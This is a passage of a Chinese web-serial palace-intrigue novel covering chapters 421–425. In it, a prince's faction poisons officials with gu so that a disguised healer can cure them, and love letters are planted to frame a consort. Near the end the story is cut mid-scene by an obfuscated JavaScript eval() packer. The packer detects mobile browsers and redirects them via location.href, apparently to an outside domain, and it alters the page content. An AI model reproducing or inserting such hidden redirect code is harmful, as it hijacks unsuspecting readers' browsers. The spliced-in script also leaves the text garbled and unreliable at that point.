更何况,妹妹还在宫中,他们若当真谋逆了,妹妹将如何自处? 可是,要向朝廷证明他们的忠心,谈何容易? 叶衔峰瓮声瓮气地道:“难道要主动交出兵权?那岂非人为刀俎我为鱼肉?” 萧晏辞断然道:“自然不可能交出兵权。” 兵权是他们的保命符,交出去了,便相当于把命也一并交托了出去。 连命都没了,又谈何所谓忠心? 摇尾乞怜没有用,口头上的表忠更是轻如鸿毛。 唯有亮出硬拳头,让朝廷既忌惮,又不得不依仗,叶家才能得以保全。 萧晏辞看着滇南王,“外祖父,奸人想往你我头上叩谋逆的帽子,我们便釜底抽薪,干一票大的。” 众人眼底都露出疑惑,俱是做出洗耳恭听之态。 萧晏辞将自己的谋划一一道来。 这一夜,王府书房的灯亮了大半夜,直到后半夜,众人才回房小憩。 萧晏辞躺在床上,身体很疲累,但精神却极度紧绷着,脑中也十分活跃。 京中的局势突变,他和滇南府都背上了谋逆之罪,母妃和知苒都被禁足了。 她们现在如何了?是否夜夜担忧,难以入眠? 她们自己有没有遇到危险?受到刁难? 先前,在人前时,他不敢表露异常,唯恐惹了外祖父和舅舅对母妃的担忧。 独处时,他的脆弱便无所遁形。 担忧与思念将他的胸腔填满。 他必须要全须全尾地回去,绝不能让奸人得逞,更不能让他在乎的人因为自己陷入危险。 …… 京城。 赵昭仪向皇上提起了宁王的亲事。 滇南的战事也不知要拖到何时,宁王的亲事不能一直耽搁下去。 礼部和内务府已经把诸事准备好,就差临门一哆嗦,上头的人不吩咐,他们的心就一直悬着。 德丰帝终于想起此事。 最近的黄道吉日是十月二十九,德丰帝拍案,就定在这一日。 得了准信,朝中各部就开始操办起来。 十月二十九这一日,宁王萧晏临的迎娶王妃,十里红妆,热闹非凡,百姓夹道围观,人人都得了喜糖,一时气氛更加热烈。 赵家混在登门道喜的人中,第一次光明正大地出现在人前。 表面上,他们送来的贺礼平平无奇,实际上,真正的贺礼早已悄然抬进了库房,那是一箱箱真材实料的银锭子。 陆知苒依旧在府中禁足,她自然没有参与这场热闹。 但她没想到,自己今日竟然又有了一个意外的收获。 “王妃,有人送了一本册子来。” 陆知苒有些意外,打开之后,脸上的意外就变成了愤怒,面色一片阴沉。 这册子中所记录的,是一桩桩一件件令人触目惊心的罪行,罪魁祸首赫然是赵家。 正所谓君子爱财,取之有道,但有些人,为了赚取财富,眼里根本毫无良知。 方成才在闽南外放时就和赵家有了勾结。 他利用职务之便,为赵家大开方便之门,低价收购私盐、生铁,再高价卖往海外,谋取暴利。 海盗问题是影响渔民生计的最大难题,当地官府一直为之头疼。 但谁都想不到,官府和海盗早就沆瀣一气,互相勾结,海盗在官府的配合下,大肆劫掠来往商船,分赃后再卖到海外。 他们赚得盆满钵满,只苦了那些商人和百姓。 赵家更是在自己的商船上悬挂海盗旗,黑吃黑抢劫其他商队,事后伪装成“遇袭幸存”。 更丧心病狂的是,他们不仅抢夺财物,还拐卖人口,以高额工酬为名,骗穷苦百姓上船,卖到南洋或东瀛为奴,良家女子则被劫掠转卖给倭寇,其下场如何,可以想象。 赵家能在短短的十几年时间里,积蓄下巨大的财富,靠的都是这些肮脏的手段! 第421章 一步险棋 方成才在闽南外放的时候,就已经赚得盆满钵满。 原本他调任回京,得了升迁,也成了宁王在朝中的一颗棋子。 但因方氏换子之事,他被罢免了官职,成了一颗废棋。 萧晏临前往闽南赈灾时,把方成才带上了。 之后,方成才便被留在了闽南,继续替赵家做事。 而方家的其他人则留在了京城,成了钳制他的人质。 陆知苒已经派人去调查赵家,只是尚未有消息传回。 没想到,有人先她一步,给她送了这份大礼。 而送上这份大礼的人,也是个老熟人:是方家的四老爷,方成钰。 此前,方家二老爷方成川被罢官,便是方成钰悄悄送上罪证。 而今,他又悄然送了这份大礼。 此人在方家混似隐形人,在朝堂上更是微不足道的微末小官,但他能搜集到这些罪证,便足以可见他并不简单。 幸而他是自己人,不然,有这么一个对手,委实难缠。 陆知苒亲自将册子誊抄了两份,一份送往到谷栖山手里,另一份则送往商行,交给她的手下。 她不可能凭借方成钰的一面之词就相信这些事,就算她信,朝臣不会信,皇上更不会信,他们要的是证据。 她要拿到证据,这册子上所提及之事,都需核查一番。 而给谷栖山送去,也是告知和提醒之意。 他能在外行走,也能面圣,他比自己更能掌握时机,将这些东西在恰当的时候拿出来。 谷栖山收到那份册子,手中的茶盏直接被捏碎,脸色也变得十分难看。 小小赵家,就敢如此胆大妄为,简直是无法无天! 他的想法与陆知苒不谋而合,第一时间派了人前往闽南,搜集罪证。 萧晏临还不知道自己的大后方即将失火。 新婚之后,他便向德丰帝告了七日假,要在府中配王妃,俨然一副沉醉温柔乡的模样。 实际上,宁王府的幕僚暗中来往进出不断,他一日都不曾闲着。 趁着滇南府消息阻塞,他必须要让立储之事落定。 “接下来,我们便依照计划行事,每一桩都不能有差池,听明白了吗?” 众幕僚齐声应是。 很快,京中又不太平起来,朝中不少臣子再次出现了腹痛如绞、呕血、四肢麻木等病症。 起先大家以为是疫病,但太医诊断却发现,他们的症状并非疫病,而是中了蛊毒! 又是蛊! 先前的那场蛊虫风波尚未平息,新的波折又来了。 滇南府究竟在京中安插了多少探子,又用了多少蛊虫? 蛊虫入体,轻则损及元气,重则丧命,且蛊虫不同,症状也不同,但不论是什么蛊,都是害人的东西。 若朝臣大规模中蛊,则朝廷之政务无人料理,整个朝局都乱了套了。 若大量百姓中蛊,民间无人农耕,人口锐减,对于整个大齐朝来说,更是伤筋动骨的巨大创伤。 朝堂上下人心惶惶,百姓更甚,唯恐自己的吃食中也被下了蛊。 德丰帝大怒,下令全面彻查此事,务必要将潜藏在京城的滇南探子找出,绞杀殆尽。 眼下最要紧的是该如何救治中蛊的官员,以及如何识别蛊虫,防止中蛊。 毕竟,大家不可能永远都不吃饭,不喝水。 压力一下又给到了太医院的太医身上,他们焦头烂额,却毫无办法。 他们如法炮制,给那些中蛊之人解蛊,但方法却并非适用于每个人,有的人症状缓解,有的则毫无变化,反而加重了。 而德丰帝勒令他们拿出的辩驳蛊虫的法子,他们更是毫无头绪。 日日被德丰帝骂得狗血喷头,若非现在急需用人,只怕德丰帝便要下令把他们的官职给罢免了。 就在这时,有人向德丰帝举荐了一人。 “皇上,宁王此次前往闽南赈灾之时,寻到了一个游方女医,此女医书了得,在灾后的疫病防治中立下不小功劳,或许她对蛊毒的解法能有一些见解。” 德丰帝立马召来萧晏临,对他问起此事。 萧晏临如实回答,“确有此人。此医女自称家乡遭灾,家人无一幸存,她机缘巧合之下习得一身医术,自此开始四处游历,给穷人看病。但实情如何,儿臣未曾查证,不知其身份是否有问题。且她容貌被毁,十分丑陋,恐会污了圣颜。” 一般情况下,德丰帝不会随便任用来路不明之人,但眼下情况非同一般,事从权宜,也顾不上许多。 “朕是需要她来看病,又不是来选美,容貌丑陋有何关系?只要能把蛊毒解了便是。她若胆敢包藏祸心,朕定不饶她。” 当晚,赵书宁被传到了萧晏临的书房。 这一出戏,乃贼喊捉贼。 先派人下蛊,再举荐良医解蛊,事成之后,不仅能在德丰帝那里捞到功劳,还能借机拉拢朝臣,博取好感。 他现在最需要的,便是朝臣的拥护和好感。 但举荐她,是一步险棋。 萧晏临敲打,“朝中不少官员都见过你,你若被人认出来,当如何?” 赵书宁半分不惧,“赵书宁在众目睽睽之下被处斩,坟头草已有一人高,谁要污蔑我,便先找出证据来。” 她不可能一直藏在人后,做那阴沟里的老鼠。 “而且,殿下不是已经给我安排好了身份?我的新身份经得起查。” 世间已无赵书宁,只有一个失了亲人,毁了容貌的孤女林芳。 萧晏临对她的应对很满意。 正是她有这番指鹿为马的镇定,萧晏临才敢行此险招。 但他也把丑话说在了前头,“你若是解不了那些蛊毒,本王不会救你。” 她这颗棋子,若是好用,萧晏临不吝于多用。 可一旦失手,他也会把责任推得一干二净,不会让自己沾染半分。 赵书宁立马道:“我只是殿下在民间偶遇的医女,若我失手,与殿下无半分相干。我敢保证,定能将此事办妥,绝不会出半点岔子!” 大巫留下的札记,她早就研读过不知多少遍,那些蛊虫的解法,她也早已了然于心。 那些蛊虫本就是她培育出来的,她也定能顺利解蛊。 第422章 皇上病倒 赵书宁就这么被引荐到了人前,开始到各府给官员们诊治。 她依旧是那身装扮,一身黑衣,头脸都遮得严严实实的,只露出一双眼睛来。 起先大家对此人心怀戒备与怀疑,并不相信这么一个来路不明,看上去又古古怪怪的人能治得好病,她这副装扮,反倒更像是下蛊的巫婆。 但赵书宁出手,果真有了成效。 她给中蛊的官员服了自己亲手调配的“催蛊散”,顺利逼出了蛊虫,严重者,则以金针渡穴术封脉,再行施救。 每个病患都佩戴了“五毒囊”,可辟蛊虫侵扰。 中蛊的官员纷纷好了起来,叫他们不得不信服。 她还教了众人两个自查中蛊的法子,一为镜照法,以铜镜照面,若瞳孔有虫影则为中蛊。 二为盐测法,撒盐于可疑物品上,蛊虫现形会扭曲爬行。 她的一整套方法行之有效,很快就在众官员中取得了信任,她也一下有了威望。 也是从这时起,朝中官员就再没人中蛊,原本惶惶不安的民心终于得以安抚。 德丰帝大喜,下令对赵书宁封赏,连带着,对萧晏临也嘉奖了一番。 赵书宁回绝了德丰帝的封赏,只专心钻研医术,若有病患登门,她也会酌情诊治。 短短时间内,京中上下无人不知林芳医女的名号。 陆知苒人在瑾王府,外头的消息却半点都没错过。 听说这医女精通蛊术,还是萧晏临推举的,她心中立马便生出了警惕。 此人与宁王走得近,且她治好的病症还是蛊术,的确要好好查一查。 萧晏临正为此事高兴,滇南府就传回来一个不好的消息。 “我们的人没能除掉瑾王,向辉折进去了,不知道他临死前是否说了些不该说的。” 萧晏临的眸色一寒。 “我这七皇兄,当真是命大!” 幕僚们出言宽慰,“殿下,瑾王就算不死,但他背着谋逆的罪名,也翻不了天,不足为虑也。” “对啊,且他被困在滇南府,等他回来,您定已谋成大事。” 萧晏临却并不那么乐观。 萧晏辞不除,他总觉心头似有尖刺,寝食难安。 他沉吟半晌,冷冷道:“既然他这般命硬,那本王就来个釜底抽薪,彻底断了他的后路。” 若柔贵妃名声有瑕,萧晏辞的血统不纯,他自然失去了竞争皇位的资格。 这一次,他顺道把谷栖山一并除了,也算是替舅舅报仇了。 萧晏临立马命人安排此事。 但没想到,另外一件令人始料未及的变故发生了。 德丰帝在朝堂上晕倒了。 瞬间,整个朝堂都炸了锅。 这段时日,先是各地发生灾情,紧接着又生出了滇南叛乱之事,事情到现在都没有个结果,德丰帝面上无事,实际上心头一直没有舒展过。 贴身伺候的冯有才比谁都清楚,德丰帝的身体大不如前了,晚上他很难睡着,便是睡着了也睡不了多久,精神肉眼可见地衰败。 昨夜,德丰帝梦魇了,大汗淋漓地醒来,之后便没有再合上眼睛。 冯有才劝他罢了今日早朝,好好休息一日,却被德丰帝驳了。 他幽幽叹息,“朕现在这样,休息了也睡不着,还不如多处理几桩政务。” 没想到,他竟直接在朝堂上晕倒了。 太医们轮番诊治,一个个都汗流浃背,却没人敢下针。 萧晏临满脸焦急,“父皇怎么样?你们倒是说话啊!” 院正许国祯擦了一把额上的冷汗。 “回宁王殿下,微臣察得陛下龙体脉象沉细而弦,略显结代,此乃忧思劳倦,伤及心脾之兆。沉主里证,细为气血亏虚,弦脉属肝,主情志郁结;间见结代,是心气耗损,营卫失和之象……” 萧晏临不耐烦,“你说重点。” 许国祯顿了顿,这才道:“陛下日理万机,神思过用,暗耗阴血,需暂息宸虑,调摄心神,佐以益气养荣、疏肝宁神之剂,徐徐缓图,则脉自和缓,圣体必渐康泰。” “那父皇什么时候能醒过来?” 许国祯斟酌着道:“这,微臣也说不准。” 萧晏临蹙眉,最后不再多问,只让他开方子。 许国祯提笔,半晌都没能写出个囫囵方子来。 实在是德丰帝年岁已到,又亏损得厉害,这药轻不得,重不得,十分难办。 最后许国祯还是开了一个方子,萧晏临看了一眼,全都是些温补的药。 这样的方子吃下去,吃不死人,但也治不好病。 果然,德丰帝吃了那汤药却迟迟不见醒,呼吸也愈发沉重。 皇上接连几日不上朝,朝中的氛围再次紧绷。 德丰帝尚未立太子,若他直接病故了,这皇位由谁来继承? 依照长幼有序,皇位自然应由二皇子继承。 ——这当然不是萧晏临想看到的。 所以,德丰帝不能死,至少,现在还不能死。 朝中的老臣聚在一处商议此事。 太医院的太医们被众人骂了个狗血淋头。 “光拿俸禄,却看不了病,真是废物。” “皇上若有个好歹,却都是你们太医院的责任!” 许国祯等太医被骂得抬不起头来。 最后,不知是谁提了一句,“不若请那位林芳女医来试试。” 有人立马反对,“此女来历不明,岂能随随便便给皇上诊治?” 有人反驳,“英雄不问出处,别忘了大家的蛊毒是谁治好的,或许她能把皇上的病也治好。” 大家意见相左,彼此互不相让。 最后,众人都看向萧晏临,让他拿主意。 萧晏临也面露迟疑,好一番斟酌才开口。 “姑且,让她一试吧,她用的药都让太医院的众太医们把关便是。” 还有人反对,但却没有其他更好的法子,最后也只能闭嘴了。 当晚,萧晏临召见了赵书宁,对她下令,“务必把父皇治好,若治不好,本王也保不了你。” 赵书宁直言不讳,“殿下,恕我直言,皇上年事已高,只怕寿元不长,我就算能让他暂时好起来,也撑不了多久。” 萧晏临斥了一声,“大胆。” 但他的神色间却没有怒意。 显然,他也不想让德丰帝活太久。 第423章 仁孝之心 赵书宁明白了他的态度,说话愈发没有顾忌。 “生死有命,皇上即便是真龙天子,也逃不过生老病死。但想来皇上还有未完之事,奴婢可以尽力一试,让皇上暂时好起来。” 要治好德丰帝,她做不到。 但要让他暂时恢复,轻而易举。 因为她可以用其他太医不敢用的猛药,不用考虑好过。 萧晏临明白了赵书宁的意思,也默认了此事。 “殿下,我还有一个法子,能让您更得人心,只是需要您付出一些代价,不知您是否愿意。” 萧晏临眼下对赵书宁倒是多了几分耐心,“说来听听。” 赵书宁将自己的计划一五一十尽数道来,萧晏临听罢,眸底顿时为之一亮。 “妙哉!便依计行事。” “殿下只怕要吃些苦头。” 萧晏临大笑,“能得偿所愿,便是吃些苦头又何妨?” 得了他的这话,赵书宁便再无顾忌。 翌日,赵书宁被传召入宫。 时隔近一年,她再次踏入了这片宫墙,看着这威仪森严的皇宫,她有种恍如隔世之感。 面纱下,她的唇角勾起了一个淡淡的弧度。 她赵书宁命不该绝,未来定能贵不可言。 那些曾经欺她辱她的人,全都要付出代价。 赵书宁被萧晏临领进了德丰帝的寝殿,不少朝臣都恭敬地等候在外,谷栖山亦在此列。 他抬眸,看到了一道黑色的高挑身影。 那身形一晃便进了殿内,谷栖山眸光微眯,心头隐约生出几分若有若无的熟悉,就好像曾经在哪里见到过。 到底在哪里见过? 谷栖山心中有些焦躁,越是如此,反倒越是想不起来。 德丰帝病得突然,眼下只宁王一人在京,若皇上出事,难保宁王不会以国不可一日无君为由,直接登基。 眼下,宁王又把那身份可疑的医女带进宫,为皇上诊治,谁知道他们会不会对皇上做些什么? 心头百般焦虑,时间在这一刻似乎过得分外慢。 就在这时,殿内发出了一声痛呼,谷栖山立马上前,要直接冲进去,其他官员也纷纷跟上。 大家都被萧晏临的人拦下了。 “发生了何事?” 那内侍语气不卑不亢,却半分不让。 “诸位大人且在殿外稍候,女医正在给皇上诊治,不可被任何人打扰,还请诸位大人见谅。” “我等方才听到了一声痛呼,莫不是生了什么变故?” “那医女身份不明,若她对皇上做些什么,你们担得起责任吗?” “对,我们必须进去看看。” 众人七嘴八舌,那拦人的内侍却寸步不让。 就在他们要强闯时,冯有才从殿内出来了,他脸上挂上了几分喜色。 “诸位大人莫要担心,皇上醒了。只是眼下尚且虚弱,还不能面见诸位。” 众人闻言面露喜色,又七嘴八舌地询问起方才发生了何事。 冯有才面露几分复杂,“那女医说,要让皇上苏醒,还缺一味药引,需亲生子割股救治。宁王一片孝心,当即忍痛割股,有了药引,皇上服药之后果然苏醒了。” 众人闻言,俱露出难以置信的震惊之色。 他们第一次听说此等药引,实在匪夷所思。 不管究竟如何离奇,德丰帝真的醒了,这便足以显示那位医女的实力。 割股救父,此番仁孝之举,委实令人称道。 众朝臣纷纷为萧晏临的孝心叹服,言语间都是夸赞之词。 谷栖山也勉强附和了几句,但一颗心却狠狠地往下沉。 萧晏临这番手段委实高明。 不过是吃了一点皮肉之苦,就赚到了仁孝之名。 有了这好名声,他在朝中也能更得民心,德丰帝的心,也会更偏向这个儿子。 瑾王的处境,更加微妙了。 想到自己手中的那份册子,有一瞬间,他生出冲动要将那册子上交,但这个念头很快被压了下去。 不行。 光有那册子还不够,他要找到更多的人证物证。 只有把证据都找齐了,才能一拳把他捶死,再无翻身之力,不然,就只会打草惊蛇。 第二日,德丰帝就恢复了大半,能正常上早朝了。 朝臣看着他的面色,依旧带着疲惫,但状态的确好了不少。 大家也不得不佩服那医女的医术。 德丰帝则的对萧晏临的孝心狠狠夸赞了一番,朝臣们也纷纷附和,萧晏临则是谦虚推辞,连道这是他该做的,一时之间,君臣和乐。 而赵书宁再次婉拒了德丰帝的封赏,俨然一副无求爵禄,不慕荣利的高风亮节之态,德丰帝见此,便作罢了。 这件事传到了民间,孩童们甚至开始唱歌谣,歌颂宁王的孝心,以及林芳医女的济世之心。 萧晏临听着手下的回禀,心头一片畅快。 他再次感叹,自己当初救下赵书宁的决定果然没有错。 舆论烘托到位,接下来,该让朝臣们提出立储之事了。 几日后,有朝臣向德丰帝提出立储之事,其余朝臣纷纷附议。 龙椅上,德丰帝掩唇咳了几声。 “朕的确老了,是到了该立储的时候了。但立储之事,关乎江山社稷,马虎不得,便是朕也不能随意决定,此事还需好生商榷,急不得。” 萧晏临听着德丰帝这话,垂眉敛目,静立不语。 光靠一个割股救父,火候还不够,还不足以让父皇决定立自己为太子。 既如此,那他便再加一把火,定要把这件事彻底落定。 萧晏临去了后宫,向赵昭仪请安。 她从婕妤升为昭仪,也换到了新的宫殿,各处都宽敞许多,宫人们原本对她慢待,而今也愈发恭敬。 母子二人关起门说话。 “母妃,事情安排得如何?” 赵昭仪点头,“已经安排好了,绝对万无一失。” 萧晏临唇角露出一抹有些阴冷的笑,“那便动手吧。” 上次没能给柔贵妃致命一击,这一次,绝不会让她逃掉。 柔贵妃被禁足夕颜殿,朝堂内外的风向彻底变了,夕颜殿的吃食用度大打折扣。 夕颜殿的宫人与内务府理论,对方的态度却十分不客气,俨然一副捧高踩低的嘴脸。 宫中的嫔妃们也都躲得远远的,反倒是惠嫔来探望过几次,还时常让宫人把自己宫里的份例送来。 夕颜殿上下对惠嫔都十分感激,连锦瑟也好几次在人前夸赞惠嫔有情有义。 这样平静的日子没维持多久,就被一场风波打破。 夕颜殿闹鬼了。 第424章 情信 更深露重,夕颜殿外忽起阴风,廊下灯笼猛地熄灭。 柔妃夜里总是睡不好,便打开窗户透气,忽见院中浮起几点幽绿鬼火,无声飘荡,忽远忽近。 一阵阴风掠过,鬼火熄灭,黑暗中传来细微的呜咽,似女子低泣,又似冤魂哀鸣。 柔贵妃瞳孔放大,惊叫一声,吓晕了过去。 第二日,柔贵妃病倒了,发起了高热,整张脸都烧红了,嘴里更是不停说着胡话。 锦瑟急坏了,急忙命人去请太医。 起先看守的内侍还百般推脱,不愿去请太医,直到锦瑟给了一个沉甸甸的荷包,他才去跑了腿。 这一等,就等了大半日,一个太医姗姗来迟。 人虽来了,但太医的态度也大不如前,锦瑟心中虽气恼,但为了自家娘娘的安危,只能尽数忍下了。 那太医敷衍地看了个方子便走了。 柔贵妃服了药,烧退了,但人依旧昏昏沉沉。 当天晚上,她的寝殿外忽而传来一阵笃笃的敲击声,紧接着,屋中的烛火也被吹灭,陷入一片昏暗。 守夜的丫鬟被吵醒,睁开眼,就看到一个披头散发的人影在窗前一闪而过,那丫鬟顿时吓得尖叫出声,晕了过去。 柔贵妃再次受到惊吓,刚刚好转的病情再次反复。 之后连续好几天,不少宫女太监都看到了鬼,还听到她们在索命,一时之间,夕颜殿里人心惶惶。 惠嫔得了消息,亲自来探望柔贵妃。 她见了柔贵妃的模样,眉头顿时蹙起。 “你们是怎么伺候的?怎么让贵妃病得这般严重?” 锦瑟亦满脸憔悴,她跪下请罪,“惠嫔娘娘,并非奴婢不尽心伺候,而是最近夕颜殿中闹鬼,娘娘夜夜难以安枕,病情这才一直反复。” 惠嫔面露惊疑,“闹鬼?好端端的怎会闹鬼?” 锦瑟恨声,“定是有人暗中作怪,欲谋害我家娘娘的性命。惠嫔娘娘,您菩萨心肠,求求您救救我家娘娘吧!” 惠嫔面露难色,“闹鬼之事非同小可,本宫做不了主,但本宫可以去向德妃回禀,请她来主持此事。” 眼下后宫由德妃、淑妃和贤妃三位妃子协理,但实际上以德妃为首,另外两妃身体也不大好,已经渐渐不管事了。 锦瑟立马感恩戴德,连连点头。 惠嫔果然很快向德妃回禀了此事。 闹鬼之事可大可小,事情既然禀到了她这,就不好再装聋作哑。 不然事情闹大,她要受皇上问责。 思及此,德妃便道:“既如此,我们便去夕颜殿瞧瞧。本宫一把年纪,素来无惧神神鬼鬼,倒是想看看,究竟是谁敢在背后装神弄鬼。” 恰好赵昭仪正好前来向德妃请安,见她们要去夕颜殿,赵昭仪面露关切,便一道前去看看情况。 见到柔贵妃,几人都暗暗心惊。 她整个人瘦了一大圈,脸颊被烧得通红。 因惊吓过度,她的嘴里喃喃说着胡话。 德妃出面,直接把院正许国祯带来了。 有了这么多双眼睛盯着,许国祯的态度前所未有的慎重,不敢有半分大意。 德妃问,“柔贵妃的情况如何?” 许国祯恭敬答,“柔贵妃这是受了惊吓引发的高热不退,微臣给她开些安神退热的药,但她不能再受惊,不然,便是再好的药,也无济于事。” 德妃唤来了夕颜殿的宫女,问起了这些时日闹鬼的具体事宜,众人一一道来。 一位宫女露出欲言又止之色。 德妃不悦,“有什么便说什么,何故吞吞吐吐?” 那宫女这才低声开口,“奴婢有一回遇到,那冤魂说,自己是,是滇南府的,被滇南王害死,要,要来找贵妃娘娘索命……” 这话一出,众人的脸色都变了变,气氛也变得微妙起来。 德妃意味不明地冷笑一声,“这冤魂千里迢迢地跑到京城来索命,倒是跑得够远,也不怕迷了路,找错了人。” 这冤魂目的性这般明确,反倒是引人怀疑。 大家都是人精,谁还看不明白这其中的弯弯绕? 赵昭仪眸光闪了闪。 那宫女吓得一哆嗦,不敢再开口。 惠嫔接话,“前朝之事,后宫不可妄议。这冤魂索命,听上去耸人听闻,实则只怕是有心人在故弄玄虚。依嫔妾看,不若将夕颜殿搜查一番,若有人兴风作浪,定会留下蛛丝马迹。” 赵昭仪附和,“柔贵妃屡次受惊,只怕问题出在她的寝殿内,应先好好搜一搜她的寝殿,把隐患清除。” 德妃觉得在理,便同意了,派了宫人开始搜查。 锦瑟的面色并不好看,但搜查的命令是德高望重的德妃下的,而且是为了自家娘娘的身子着想,她也没有立场提出反对。 为了避嫌,她甚至不能参与其中,只能干等着。 小半刻钟后,搜查柔贵妃宫殿的宫女匆匆出来,面上露出几分异色。 德妃询问,“可是搜出了什么脏东西?” 那宫女吞吞吐吐,欲言又止,“回娘娘,奴婢的确找到了一些东西,但……奴婢不敢随意处置,还请诸位娘娘移步,亲自去瞧瞧。” 她这副模样越发让众人心中狐疑。 大家当即起身,进了里屋。 妆台上,赫然摆着一个打开的红漆木匣子,里面放着一沓书信,还有其他零零碎碎的东西。 锦瑟看到那匣子,脸色瞬间变了,整个人似一下变得十分紧张。 赵昭仪余光瞥到锦瑟的面色,唇角飞快勾起一个弧度。 看来,她们的计划成了。 德妃上前,“这是何物?” 那宫女低声道:“奴婢略通文墨,方才不小心瞟了一眼,那些书信,似是与男子往来的情信……” 几人陡然变色。 德妃怒斥,“大胆!绿翘,你敢污蔑贵妃,谁给你的胆子?” 绿翘慌忙跪下,“娘娘恕罪,奴婢便是有十个胆子也不敢胡说八道,您若不信,大可亲自查看那些书信。” 德妃沉着脸拿起了书信。 好几封书信,纸张皆已泛黄,上面的些许字迹也已有些模糊不清,但并不影响整体阅读,那番绵绵情意,跃然纸上。 绿翘所言不假,这分明是一封有情郎写给柔贵妃的情信! 第425章 奸夫是谁 接连看了好几封,皆是如此。 那匣子里有一个木雕的女郎,雕工十分寻常,只有一个隐约的轮廓。 那信里提及,这是那情郎亲手雕刻,赠与柔贵妃之物。 除此之外,还有不少小物件,都是那情郎所赠。 德妃的脸色一变再变,最后已是怒极。 她是宫里的老宫妃,平素最看重规矩,眼里容不得沙,柔贵妃宫中搜出这些不堪入目的东西,简直不成体统! 原本她对柔贵妃的处境还有些怜惜,而今,她是半点同情也没了,反而生了厌恶。 “真是有辱斯文!” 惠嫔和赵昭仪拿起其他书信,二人的脸色从困惑不解,到满脸震惊。 惠嫔捂着嘴,“柔贵妃竟然如此大胆,心怀异心不说,还,私藏情郎的书信?这,这……” 赵昭仪更是一副难以启齿的模样,整张脸都羞红了。 “那上面的淫词艳曲,简直不堪入目,羞煞人也……” 锦瑟立马跪下,急忙辩解,“诸位娘娘,你们误会了,我家娘娘对皇上忠贞不二,绝无二心!这都是误会啊。” 德妃很愤怒,“住嘴!事实摆在眼前,还要狡辩!” 惠嫔也带着怒意,“亏得之前我还把柔贵妃当妹妹,真心待她,没想到她竟与人私通,秽乱宫闱,我实在羞于与她为伍!” 锦瑟非常急切地想要解释,但越解释越乱,最后直接语无伦次起来。 德妃没听她解释,“此事事关重大,我等断乎不能包庇隐瞒,还是请皇上来定夺吧。” 德丰帝的声音从外头冷冷地传来。 “发生了何事要让朕定夺?” 众人一惊,没想到德丰帝竟然来了,更不知他方才在外头听了多少去。 众人齐齐跪下行礼,德丰帝目光环视一圈,最后落在了床上那昏迷不醒的人身上,见到她消瘦许多的面颊,德丰帝的心头微微动了动。 他收回视线,满脸冷肃地环视众人。 “说吧,何事?” 德妃有些踟蹰,“皇上,臣妾实在是不知该如何开口。这些东西,是从柔妃殿内搜出来的,您先看看吧。” 她本是打算私下告知德丰帝此事,至少能维护帝王颜面,但没想到他刚好来了。 德丰帝目光落在那匣子里,看到那里面的几个小物件,眸光动了动。 冯有才也飞快瞟了一眼,又垂下了视线。 德丰帝拿起了那个木雕小人,枯瘦的手在上面轻轻摩挲,表情意味不明。 “这些东西,有何问题?” 德妃张口,一副难以启齿的模样。 是惠嫔开了口,“皇上,柔贵妃与人有私,这些东西,都是那奸夫所赠……” 德丰帝摩挲着木雕的手顿住,眸底立马笼上一层幽冷的光,周身更是笼上一股沉沉威严。 冯有才把腰弯得更低了,尽量减少自己的存在感。 “你可有证据?” 惠嫔莫名感觉心中打鼓,但还是道:“那匣子里便有好几封书信,都是那奸夫写给她的。” 德丰帝没有发怒,只是周身的气压更沉了几分。 他拿起了那些书信,一封封地翻看起来。 整个过程都很安静,无人开口,只有他翻动书信的声音。 德丰帝将那些书信重新折好,放了回去,整个过程都很平静,但大家都觉得,这只是暴风雨前的宁静罢了。 他开口,问了一个令人意想不到的的问题。 “你们为何私自搜查柔贵妃的寝殿?谁给你们的权利?” 这个问题把她们问懵了。 她们隐约意识到事情似乎有些偏离走向,但却没弄明白究竟哪里出了问题。 德妃立马请罪,“是臣妾下的令。臣妾听惠嫔说夕颜殿闹鬼,怀疑此事是有人故弄玄虚,这才命人搜查,看能否查出端倪来,没想到……” 没想到,闹鬼之事没有查出来,反倒查出了柔贵妃与人私通的罪证。 德妃的话说了一半就打住了。 她后知后觉地意识到了什么。 此事有蹊跷! 这分明是针对柔贵妃的一场局,自己只怕是被人当枪使了。 自己带头揭穿了此事,下了皇上的面子,最后只怕也要被皇上不喜。 此事是惠嫔牵头,难道是惠嫔做的? 锦瑟跪在地上,脑袋砰砰砰地磕头。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15867480|165058||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她语带哽咽地解释,“皇上,请您相信贵妃,她对您绝无二心啊,这些东西分明是……” 德丰帝打断她,“朕有眼睛,能看得到!说,柔贵妃的奸夫到底是谁?” 锦瑟连连摇头,“皇上,冤枉啊,我家娘娘真的是冤枉的啊!自从入宫以来,她待您一心一意,岂敢有半点异心?今日之事,分明就是有心人栽赃陷害!” 惠嫔插话,“这东西的的确确是从柔贵妃的寝殿里搜出来的,难道这不是她的东西?” “这的确是我家娘娘的东西,可是……” 德丰帝淡淡道:“既如此,就没有什么好说的。朕倒是好奇,什么样的男子,能值得朕的贵妃如此念念不忘?你若是主动招了,朕便免你死罪。” 锦瑟声音高亢,“皇上,奴婢愿以项上人头担保,娘娘是清白的,从未有过半点异心,请您相信娘娘,还娘娘一个公道!” 说完,她便再次砰砰砰地磕头,脑袋很快磕出血来。 但这时,却有人站了出来。 “皇上,奴婢知道内情!奴婢曾听到娘娘和锦瑟姑姑说话,娘娘一直惦记着一个人,现在还留着对方所赠的旧物,日日睹物思人。” 那丫鬟,赫然是先前作证声称是滇南府冤魂索命之人。 锦瑟磕头的动作顿住,不敢置信地怒喝,“玉兰,你胡说些什么?” 玉兰跪在地上,背脊却挺得笔直。 “奴婢没有胡说,奴婢所言句句属实。娘娘的箱笼里,有一个绣着鸳鸯花纹的,那里面装着的,便是当年的旧物,娘娘时常打开翻看,每每语气中都满是思念和遗憾,只需要把那箱笼打开一看便知。” 锦瑟气得脸色通红,说不出话来。 德丰帝一个眼神,冯有才已经亲自前去查看。 他冷冷开口,“那人是谁?” 玉兰毫不犹豫,说出了那个名字。 “他是镇西将军,谷栖山!” 德丰帝捏着那木雕的手微微用力,手背青筋凸起,周身的气压也瞬间沉冷。 